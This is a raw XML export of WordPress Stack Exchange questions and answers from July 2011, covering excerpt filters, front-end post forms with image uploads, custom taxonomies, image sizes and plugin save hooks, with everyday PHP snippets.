  <row Id="22759" PostTypeId="2" ParentId="22758" CreationDate="2011-07-12T18:39:47.227" Score="0" ViewCount="" Body="&lt;p&gt;The best way to do that is to capture the query with a tool like Google Analytics, and set up your site to also track the form with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there really is not a good way to do it - meaning that I cannot think of any. It is best to use tools meant for the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup Google Analytics, and set your form up as a conversion goal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once people start to convert, you can see where they came from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could go a step further and log a custom variable in GA that will store the lead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method is much better, well supported, and removes any chance of tampering.&lt;/p&gt;&#xA;" OwnerUserId="6978" LastActivityDate="2011-07-12T18:39:47.227" CommentCount="5" />
  <row Id="22760" PostTypeId="2" ParentId="22744" CreationDate="2011-07-12T18:43:55.773" Score="0" ViewCount="" Body="&lt;p&gt;You could do it with jQuery fairly simply. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#caption&quot;).src($(&quot;img&quot;).src);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is psuedo code to get you thinking down the right track. Basically, loop through the images, grab the source, and apply it to the element that you want to gain the link.&lt;/p&gt;&#xA;" OwnerUserId="6978" LastActivityDate="2011-07-12T18:43:55.773" />
  <row Id="22761" PostTypeId="2" ParentId="22724" CreationDate="2011-07-12T18:47:53.480" Score="0" ViewCount="" Body="&lt;p&gt;After adding my content I found an article that suggested deleting the .htaccess file, then go to Settings/permalinks and remove the index.php. The article said WorPress would give an error suggesting you create the .htaccess file. I decided to try it but it did nothing. What I did find out is my permalinks were still working with the deleted .htaccess file. This puzzled me at first. I opened my FTP client and navigated to my files. I noticed that there was a .htaccess file there after I had deleted it. I don't know if it is WordPress, my Hosting Account or what exactly created it but I know this is new. This didn't happen before. You might try this method if all else fails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wasn't able to re-create the problem in your question so I'm not 100% sure if it works for you. It's worth a shot though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards,&#xA;Jeremy Jared&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-12T18:47:53.480" CommentCount="1" />
  <row Id="22762" PostTypeId="2" ParentId="22755" CreationDate="2011-07-12T18:49:15.470" Score="0" ViewCount="" Body="&lt;p&gt;WordPress reads the version from &lt;code&gt;/wp-includes/version.php&lt;/code&gt;, not sure why it wouldn't update if that was changing.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-12T18:49:15.470" CommentCount="3" />
  <row Id="22763" PostTypeId="1" CreationDate="2011-07-12T18:55:38.857" Score="0" ViewCount="110" Body="&lt;p&gt;Short and sweet &amp;mdash; I wanted to deliver up the excerpt of a post in the place of &lt;code&gt;the_content&lt;/code&gt; on certain pages. Naturally, if no excerpt is present one would be generated from the content. I understand I can just go in and edit the theme files, but I'd like a less-invasive method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeing how something like the following works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'the_content', 'myFunc' );&#xA;function myFunc ( $content ) {&#xA;  the_title();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought I would try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'the_content', 'myFunc' );&#xA;function myFunc ( $content ) {&#xA;  the_excerpt();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This. Fails. Gloriously. It results in a fatal error, actually:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;FATAL ERROR: MAXIMUM FUNCTION NESTING LEVEL OF '100' REACHED, ABORTING! IN C:\WAMP\WWW\WORDPRESS\WP-INCLUDES\POST.PHP ON LINE 555&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is followed by a massive call stack, which appears to have been set into a mad frenzy of recursive calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Turning the Tables&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this got me curious, and I tried the opposite. Deliver &lt;code&gt;the_content&lt;/code&gt; in the place of &lt;code&gt;the_excerpt&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'the_excerpt', 'myFunc' );&#xA;function myFunc ( $content ) {&#xA;  the_content();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This, to my surprise, worked just fine. So what I'm gathering is that &lt;code&gt;the_excerpt&lt;/code&gt; calls &lt;code&gt;the_content&lt;/code&gt;, but &lt;code&gt;the_content&lt;/code&gt; doesn't call &lt;code&gt;the_excerpt&lt;/code&gt; - this would certainly explain the fact that it works one way, but the other seems to be set off in a massive fit of recursion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not being very familiar with the inner-workings of these two function, I was curious what the community here could provide in way of insight. What's the problem with hooking into &lt;code&gt;the_content&lt;/code&gt; and calling &lt;code&gt;the_excerpt&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this effect if not by calling &lt;code&gt;the_content&lt;/code&gt; directly? I understand that I could provide my own custom excerpt logic, but this would de-normalize the excerpt logic in my site, meaning I'd have some excerpts being created via custom code in the functions.php, and others created via the internal methods of WordPress - ideally, I would avoid this and use only the internal methods if possible.&lt;/p&gt;&#xA;" OwnerUserId="92" LastEditorUserId="92" LastEditorDisplayName="" LastEditDate="2011-07-12T20:44:56.250" LastActivityDate="2011-08-12T11:22:41.057" Title="Giving the_excerpt in the place of the_content?" Tags="&lt;hooks&gt;&lt;the-excerpt&gt;&lt;the-content&gt;" AnswerCount="1" />
  <row Id="22764" PostTypeId="1" AcceptedAnswerId="22787" CreationDate="2011-07-12T18:55:59.443" Score="0" ViewCount="26" Body="&lt;p&gt;My theme gives the site owner the option of using each post's &quot;Excerpt&quot; field to fill in the &quot;meta description&quot; tag for each page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be helpful if I can filter the text label and description text that appears on the default Excerpt input control when viewed inside the post editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does a filter or hook exist for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, I suppose I could use jQuery to do something via the DOM.&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-07-12T23:15:21.050" Title="How to alter the text of the post &quot;Excerpt&quot; box label in WordPress post editor?" Tags="&lt;theme-development&gt;&lt;jquery&gt;" AnswerCount="1" />
  <row Id="22765" PostTypeId="1" AcceptedAnswerId="22784" CreationDate="2011-07-12T19:03:12.760" Score="0" ViewCount="133" Body="&lt;p&gt;I found this wonderdul script that @Bainternet here at Wordpress Answers created, that makes it possible to attach images into posts from a html form..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to combine in into my &quot;html form to post&quot; script.. I does create a post as draft in the backend.. but the image does not show up, and it doesn't show in &quot;media&quot; ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is @Bainternet script/answer,&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/11920/submit-post-and-upload-image-from-front-end&quot;&gt;Submit post and upload image from front-end&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is mine,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;&#xA;if(isset($_POST['new_post']) == '1') {&#xA;$post_title = $_POST['post_title'];&#xA;$post_category = 'fashion';&#xA;$post_content = $_POST['post_content'];&#xA;&#xA;$new_post = array(&#xA;      'ID' =&amp;gt; '',&#xA;      'post_author' =&amp;gt; $user-&amp;gt;ID, &#xA;      'post_category' =&amp;gt; array($post_category),&#xA;      'post_content' =&amp;gt; $post_content,&#xA;      'post_title' =&amp;gt; $post_title,&#xA;      'post_status' =&amp;gt; 'draft'&#xA;    );&#xA;&#xA;$post_id = wp_insert_post($new_post);&#xA;&#xA;&#xA;        if (!function_exists('wp_generate_attachment_metadata')){&#xA;            require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/image.php');&#xA;            require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/file.php');&#xA;            require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/media.php');&#xA;        }&#xA;         if ($_FILES) {&#xA;            foreach ($_FILES as $file =&amp;gt; $array) {&#xA;                if ($_FILES[$file]['error'] !== UPLOAD_ERR_OK) {&#xA;                    return &quot;upload error : &quot; . $_FILES[$file]['error'];&#xA;                }&#xA;                $attach_id = media_handle_upload( $file, $post_id );&#xA;            }   &#xA;        }&#xA;        if ($attach_id &amp;gt; 0){&#xA;            //and if you want to set that image as Post  then use:&#xA;            update_post_meta($post_id,'_thumbnail_id',$attach_id);&#xA;        }&#xA;&#xA;&#xA;// This will redirect you to the newly created post&#xA;$post = get_post($post_id);&#xA;wp_redirect( 'http://domain.com' );&#xA;}      &#xA;?&amp;gt;      &#xA;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt; &#xA;&amp;lt;input type=&quot;text&quot; name=&quot;post_title&quot; size=&quot;45&quot; id=&quot;input-title&quot; value=&quot;heading&quot;/&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;post_url&quot; size=&quot;45&quot; id=&quot;input-url&quot; value=&quot;Url&quot;/&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;file&quot; name=&quot;thumbnail&quot; id=&quot;thumbnail&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;textarea rows=&quot;5&quot; name=&quot;post_content&quot; cols=&quot;66&quot; id=&quot;text-desc&quot;&amp;gt;&amp;lt;/textarea&amp;gt; &amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;new_post&quot; value=&quot;1&quot;/&amp;gt; &amp;lt;br&amp;gt;&#xA;&amp;lt;input class=&quot;subput round&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Post&quot;/&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5778" LastActivityDate="2011-07-13T10:08:28.260" Title="Create post from form with image" Tags="&lt;posts&gt;&lt;php&gt;&lt;attachments&gt;&lt;wordpress.org&gt;&lt;front-end&gt;" AnswerCount="2" />
  <row Id="22766" PostTypeId="2" ParentId="22753" CreationDate="2011-07-12T19:05:45.300" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;posts_results&lt;/code&gt; is the filter on the raw query result. see line 2627 in &lt;code&gt;wp-includes/query.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-12T19:05:45.300" />
  <row Id="22767" PostTypeId="2" ParentId="22763" CreationDate="2011-07-12T19:14:37.540" Score="1" ViewCount="" Body="&lt;p&gt;Actually, &lt;code&gt;the_excerpt()&lt;/code&gt; calls &lt;code&gt;get_the_excerpt()&lt;/code&gt;, which outputs &lt;code&gt;$post-&amp;gt;post_excerpt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing, also: shouldn't you be using &lt;code&gt;add_filter()&lt;/code&gt; instead of &lt;code&gt;add_action()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are you using &lt;code&gt;the_excerpt()&lt;/code&gt;/&lt;code&gt;the_content()&lt;/code&gt;/&lt;code&gt;the_title()&lt;/code&gt;, rather than setting &lt;code&gt;$content&lt;/code&gt; = &lt;code&gt;get_the_excerpt()&lt;/code&gt; etc., and then returning &lt;code&gt;$content&lt;/code&gt;? e.g. this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'myFunc' );&#xA;function myFunc ( $content ) {&#xA;  the_excerpt();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...would normally be written as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'myFunc' );&#xA;function myFunc ( $content ) {&#xA;  $content = get_the_excerpt();&#xA;  return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if any of that will address your problem of the recursive loop...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your last comment gave me an idea: why not just pass $content through &lt;code&gt;wp_trim_excerpt()&lt;/code&gt; and be done with it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'myFunc' );&#xA;function myFunc( $content ) {&#xA;    $excerpt = wp_trim_excerpt( $content );&#xA;    return $excerpt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, I'm with you now. How about we roll our own excerpt function?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'myFunc' );&#xA;function myFunc( $content ) {&#xA;    $text = strip_shortcodes( $content );&#xA;    $text = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $text);&#xA;    $text = strip_tags($text);&#xA;    $excerpt_length = apply_filters('excerpt_length', 55);&#xA;    $excerpt_more = apply_filters('excerpt_more', ' ' . '[...]');&#xA;    $words = preg_split(&quot;/[\n\r\t ]+/&quot;, $text, $excerpt_length + 1, PREG_SPLIT_NO_EMPTY);&#xA;    if ( count($words) &amp;gt; $excerpt_length ) {&#xA;         array_pop($words);&#xA;         $text = implode(' ', $words);&#xA;         $text = $text . $excerpt_more;&#xA;     } else {&#xA;         $text = implode(' ', $words);&#xA;     }        &#xA;     return $text;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-12T20:32:46.803" LastActivityDate="2011-07-12T20:32:46.803" CommentCount="7" />
  <row Id="22768" PostTypeId="2" ParentId="22753" CreationDate="2011-07-12T19:15:30.163" Score="4" ViewCount="" Body="&lt;p&gt;For all admin pages and front end pages except individual post edit screens (&lt;code&gt;wp-admin/post.php&lt;/code&gt;), &lt;code&gt;'wp'&lt;/code&gt; is the most reliable hook for getting the global values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/nav.html?wp-includes/class-wp.php.source.html#l486&quot; rel=&quot;nofollow&quot;&gt;http://phpxref.ftwr.co.uk/wordpress/nav.html?wp-includes/class-wp.php.source.html#l486&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see there that it fires immediately after &lt;code&gt;WP::main()&lt;/code&gt; fires &lt;code&gt;WP::register_globals()&lt;/code&gt;. The problem with using things like &lt;code&gt;post_results&lt;/code&gt; and &lt;code&gt;get_posts&lt;/code&gt; is that it will run every time you make a query for posts. &lt;code&gt;'wp'&lt;/code&gt; only fires in the function &lt;code&gt;WP::main()&lt;/code&gt;, which is what WP core uses to run the page's main request query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For post edit screens, it looks like the first hook you can use reliably would be &lt;code&gt;'add_meta_boxes'&lt;/code&gt;. You would just need to make sure that you're on a core page when hooking in, although it does pass the global &lt;code&gt;$post&lt;/code&gt; object as the second argument (the first being the &lt;code&gt;$post_type&lt;/code&gt; of the current post).&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-07-12T19:15:30.163" CommentCount="1" />
  <row Id="22770" PostTypeId="2" ParentId="22754" CreationDate="2011-07-12T19:47:32.223" Score="0" ViewCount="" Body="&lt;p&gt;It's possible, just no so easily via the Users page without some hackery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The WordPress API will let you insert users without email addresses, so a little custom plugin to accept a login name and password, and a call to &lt;code&gt;wp_insert_user&lt;/code&gt; or &lt;code&gt;wp_update_user&lt;/code&gt; should work for you. Unfortunately I don't have time to code it up for you, but perhaps this will point you in a direction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$userdata = array ('user_login' =&amp;gt; 'someuser', 'user_pass' =&amp;gt; 'swordfish');&#xA;$new_user_id = wp_update_user( $userdata );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-12T19:47:32.223" CommentCount="1" />
  <row Id="22771" PostTypeId="1" CreationDate="2011-07-12T20:02:08.407" Score="0" ViewCount="89" Body="&lt;p&gt;As I already used the featured image for something else, I want to add another image and display it in one of the sizes defined in my functions.php with add_image_size().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to do that with a featured image : I just have to use the_post_thumbnail() function and indicate the size I want in the parameters. But what about a post image ?&lt;/p&gt;&#xA;" OwnerUserId="5915" LastActivityDate="2011-08-12T15:22:47.033" Title="Display post image in a size defined by add_image_size()" Tags="&lt;image&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="22772" PostTypeId="2" ParentId="22771" CreationDate="2011-07-12T20:19:43.100" Score="0" ViewCount="" Body="&lt;p&gt;Yes, more or less. The $name parameter of &lt;code&gt;add_image_size&lt;/code&gt; with can be called like this, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail( 'your_add_image_size_name' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-12T20:19:43.100" CommentCount="1" />
  <row Id="22773" PostTypeId="2" ParentId="22771" CreationDate="2011-07-12T20:20:53.583" Score="0" ViewCount="" Body="&lt;p&gt;Try using &lt;code&gt;wp_get_attachment_image()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo wp_get_attachment_image( $attachmentid, $imagesize );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$attachmentid&lt;/code&gt; is the attachment ID, and &lt;code&gt;$imagesize&lt;/code&gt; is the name of the image size in the &lt;code&gt;add_image_size()&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a custom-field stored image SRC URL, I'm not finding any way to make use of intermediate image sizes defined via &lt;code&gt;add_image_size()&lt;/code&gt; (or even the default image sizes). Pretty much all of the related functions eventually require an &lt;em&gt;attachment ID&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-13T00:09:34.170" LastActivityDate="2011-07-13T00:09:34.170" CommentCount="5" />
  <row Id="22774" PostTypeId="1" CreationDate="2011-07-12T20:22:03.973" Score="1" ViewCount="29" Body="&lt;p&gt;This is my first foray into custom post types and taxonomies. I created a taxonomy-services.php page to display posts that are associated with the 'websites' slug. That seems to be working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I want to be able to show other posts on services.php that are associated with another slug, like 'video'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These both fall under the Services taxonomy. I'm just not sure how to filter them on the services.php page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me with this challenge. I'm both PHP/WordPress noob, and need to get a quick win on this one.&lt;/p&gt;&#xA;" OwnerUserId="6979" LastActivityDate="2011-08-13T08:23:25.603" Title="A question on creating filters for custom posts using taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;customization&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="22775" PostTypeId="2" ParentId="22758" CreationDate="2011-07-12T20:37:37.890" Score="1" ViewCount="" Body="&lt;p&gt;Better Answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;session_start(); $lead = $_GET['lead']; $_SESSION['lead'] = $lead;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, create an additional field on the form, with the input hidden. For the value, I would echo out the $_SESSION, with a name that is easy to grab (lead works). then, wherever the form is processed, just add a line to grab the lead, and do with it what you want. – &lt;/p&gt;&#xA;" OwnerUserId="6978" LastActivityDate="2011-07-12T20:37:37.890" CommentCount="5" />
  <row Id="22776" PostTypeId="1" AcceptedAnswerId="22797" CreationDate="2011-07-12T20:43:26.640" Score="0" ViewCount="98" Body="&lt;p&gt;When you create a plugin and set up a process function, Wordpress will run the plugin process function twice upon clicking the update button. I believe the first process is for the versioning (revision) post, and the second the actual post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I've got an INSERT function in my process, so it is now inserting the data twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to ensure that processing doesn't happen while creating the revision and and only on the actual post processing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* Note: Targeting Wordpress 3.0+ *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Example (complete plugin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Something Amazing&#xA;Plugin URI: http://www.somewhere.com/&#xA;Description: Displays something.&#xA;Author: Some guy&#xA;Version: 1.0&#xA;Author URI: http://www.somewhere.com/&#xA;*/&#xA;function call_something() {&#xA; return new something();&#xA;}&#xA;if (is_admin()) add_action('load-post.php','call_something');&#xA;&#xA;class something {&#xA;&#xA; public function __construct() {&#xA;  add_action('add_meta_boxes',array(&amp;amp;$this,'something_add_boxes'));&#xA;  add_action('save_post',array(&amp;amp;$this,'something_process'),1,1);&#xA; }&#xA;&#xA; public function something_add_boxes() {&#xA;  add_meta_box('something','Some Thing',array(&amp;amp;$this,'something_form'),'post','side','default');&#xA; }&#xA;&#xA; public function something_form($post,$args) {&#xA;  echo '&amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;somethingnew&quot; /&amp;gt;&amp;lt;/p&amp;gt;';&#xA; }&#xA;&#xA; public function something_process($id) {&#xA;  echo 'hey there! I\'m going to cause a redirect warning, but you will see this line twice per submit!';&#xA;  //do_something_amazing();&#xA; }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps there is a better hook to use to process that doesn't make it write twice?&lt;/p&gt;&#xA;" OwnerUserId="6348" LastEditorUserId="6348" LastEditorDisplayName="" LastEditDate="2011-07-13T00:19:09.357" LastActivityDate="2011-07-13T08:45:20.593" Title="Plugin Development: Wordpress processes twice on post update. How to skip process on the first?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;wp-admin&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="22777" PostTypeId="2" ParentId="22756" CreationDate="2011-07-12T20:48:31.583" Score="1" ViewCount="" Body="&lt;p&gt;-First, try contacting the hosting provider if the database server is online / if they have any other problem at their end, or they made any changes to your account, or if there are any limitations/restrictions, etc . &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;double check your wp-config.php file settings for the database name, database username and database password. This is where most errors occur. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;-Then check that you don't need to change the database host from &quot;localhost&quot; to something else. You can get that info from your hosting provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Check you have actually created a database with the same database name as is in your wp-config.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Last, but not least, if all that information is correct your database probably has a problem with it, and you may need to contact your hosting provider. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also many threads on this topic on WP forums: &lt;a href=&quot;http://wordpress.org/search/Error+establishing+a+database+connection?forums=1&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/search/Error+establishing+a+database+connection?forums=1&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-07-12T20:48:31.583" />
  <row Id="22778" PostTypeId="1" AcceptedAnswerId="24475" CreationDate="2011-07-12T21:24:13.980" Score="0" ViewCount="37" Body="&lt;p&gt;I'm having problems saving a large menu. I keep getting a 500 Internal Server Error. I'm using WP 3.1. I use a HostGator dedicated Linux server and the Superb theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have  a menu with 4 main headings each with dropdown menus. Is it possible to divide my menu into &quot;4 menus&quot; and display them side by side? The Superb theme has one menu area. Is this possible? If so, how can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-30T03:19:14.363" Title="Divide Menu into Separate Menus and Display them Side by Side" Tags="&lt;menus&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="22780" PostTypeId="1" CreationDate="2011-07-12T21:37:10.683" Score="0" ViewCount="59" Body="&lt;p&gt;I'm attempting to set up a fairly long multi-part form (~50 questions, a few questions per page) with conditional logic. I'd like to offer registered visitors the ability to save their data between each page/step and give them the option to return later to finish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Gravity Forms and thought that might work, but it sounds like this isn't functionality they offer yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any advice/suggestions on other form plugins or code which might meet these requirements? Thanks in advance for all your help!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-12T21:37:10.683" Title="Best way to create multi-step form with data saved to user account for later updating?" Tags="&lt;forms&gt;&lt;plugin-gravity-forms&gt;" />
  <row Id="22781" PostTypeId="2" ParentId="22776" CreationDate="2011-07-12T22:02:20.350" Score="1" ViewCount="" Body="&lt;p&gt;you can avoid autosave using a simple check in your function, something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return '';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Like i've posted, just add the above snippet to the very top of your &lt;code&gt;something_process&lt;/code&gt; function before any thing else.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-12T23:03:37.190" LastActivityDate="2011-07-12T23:03:37.190" CommentCount="8" />
  <row Id="22782" PostTypeId="1" CreationDate="2011-07-12T22:07:50.423" Score="0" ViewCount="48" Body="&lt;p&gt;I have a Multi-Site installation of Wordpress, with multiple subdomains, but only one of the subdomains has an SSL certificate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The domains are such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;www.example.com&#xA;blog1.example.com&#xA;blog2.example.com&#xA;&#xA;secure.example.com&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;secure.example.com&lt;/code&gt; is the subdomain which has a SSL cert installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone types in &lt;code&gt;blog1.example.com/wp-admin/dashboard.php&lt;/code&gt;, how can I force them to &lt;code&gt;secure.example.com/wp-admin&lt;/code&gt; and then after they log in redirect them back to &lt;code&gt;blog1.example.com/wp-admin/dashboard.php&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="4400" LastActivityDate="2011-09-04T06:34:01.747" Title="How can I force users to a particular subdomain to log in for MU (Multisite)?" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;admin&gt;&lt;login&gt;&lt;ssl&gt;" AnswerCount="2" />
  <row Id="22783" PostTypeId="2" ParentId="22774" CreationDate="2011-07-12T22:14:17.593" Score="0" ViewCount="" Body="&lt;p&gt;you can check on your taxonomy-services.php what is the current queried term filter based on that, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get the current term&#xA;$term_slug = get_query_var( 'term' );&#xA;//get the current taxonomy&#xA;$taxonomyName = get_query_var( 'taxonomy' );&#xA;//get the term object if you want&#xA;$current_term = get_term_by( 'slug', $term_slug, $taxonomyName );&#xA;&#xA;//then you can query your posts/custom based on that term&#xA;$s_query = NEW WP_Query(array('services' =&amp;gt; $term_slug, 'post_type' =&amp;gt; 'post'));&#xA;&#xA;//then you can simply filter the posts&#xA;if ($current_term-&amp;gt;term_slug == &quot;websites&quot;){&#xA;   while($s_query-&amp;gt;have_posts){&#xA;      $s_query-&amp;gt;the_post();&#xA;      //do websites loop&#xA;   }&#xA;}elseif ($current_term-&amp;gt;term_slug == &quot;video&quot;){&#xA;   while($s_query-&amp;gt;have_posts){&#xA;      $s_query-&amp;gt;the_post();&#xA;      //do videos loop&#xA;   }&#xA;}else{&#xA;   while($s_query-&amp;gt;have_posts){&#xA;      $s_query-&amp;gt;the_post();&#xA;      //do any other loop of that taxonomy&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" 